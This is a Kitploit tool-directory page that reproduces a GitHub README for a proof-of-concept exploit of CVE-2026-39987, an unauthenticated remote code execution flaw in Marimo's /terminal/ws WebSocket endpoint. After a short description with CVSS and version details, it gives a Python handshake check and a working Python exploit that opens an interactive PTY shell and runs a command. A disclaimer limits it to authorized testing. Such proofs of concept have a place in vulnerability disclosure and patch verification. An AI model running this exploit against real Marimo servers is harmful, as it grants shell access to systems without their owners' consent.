Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39987 — Proof-of-concept exploit for pre-authenticated remote code execution in Marimo via the WebSocket endpoint, allowing unauthenticated attackers to obtain an interactive PTY shell. | Kitploit
Tools/GitHubGitHub/h3raklez/cve-2026-39987
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubh3raklez/cve-2026-39987

CVE-2026-39987

Proof-of-concept exploit for pre-authenticated remote code execution in Marimo via the WebSocket endpoint, allowing unauthenticated attackers to obtain an interactive PTY shell.

View Repository
144 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39987 — Marimo Pre-Auth RCE

For educational and authorized security research purposes only.

Description

Pre-authenticated Remote Code Execution in Marimo <= 0.20.4.
The WebSocket endpoint /terminal/ws skips authentication validation, allowing an unauthenticated attacker to obtain a full interactive PTY shell via a single connection.

  • CVSS v4.0: 9.3 (Critical)
  • CWE: CWE-306 (Missing Authentication for Critical Function)
  • Affected versions: <= 0.20.4
  • Fixed version: 0.23.0

Requirements

  • Python 3
  • websockets (pip install websockets)
  • Network access to port 2718 on the target

Endpoint Verification

Confirms the endpoint accepts connections without credentials:

root@kitploit:~
import socket, base64, os host = '127.0.0.1' port = 2718 path = '/terminal/ws' key = base64.b64encode(os.urandom(16)).decode() handshake = ( f'GET {path} HTTP/1.1\r\n' f'Host: {host}:{port}\r\n' f'Upgrade: websocket\r\n' f'Connection: Upgrade\r\n' f'Sec-WebSocket-Key: {key}\r\n' f'Sec-WebSocket-Version: 13\r\n' f'Sec-WebSocket-Protocol: terminal\r\n' f'\r\n' ) s = socket.socket() s.connect((host, port)) s.send(handshake.encode()) resp = s.recv(4096).decode(errors='ignore') print(resp[:200]) s.close()

Expected result: HTTP/1.1 101 Switching Protocols


Exploit

root@kitploit:~
import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] Connection established without authentication")
        await asyncio.sleep(0.3)

        # Read initial PTY banner
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[PTY banner]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Send command
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Read frames until timeout
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[RCE output]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))

References

  • https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • https://nvd.nist.gov/vuln/detail/CVE-2026-39987
  • https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
  • https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

Disclaimer

This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.

Download Tool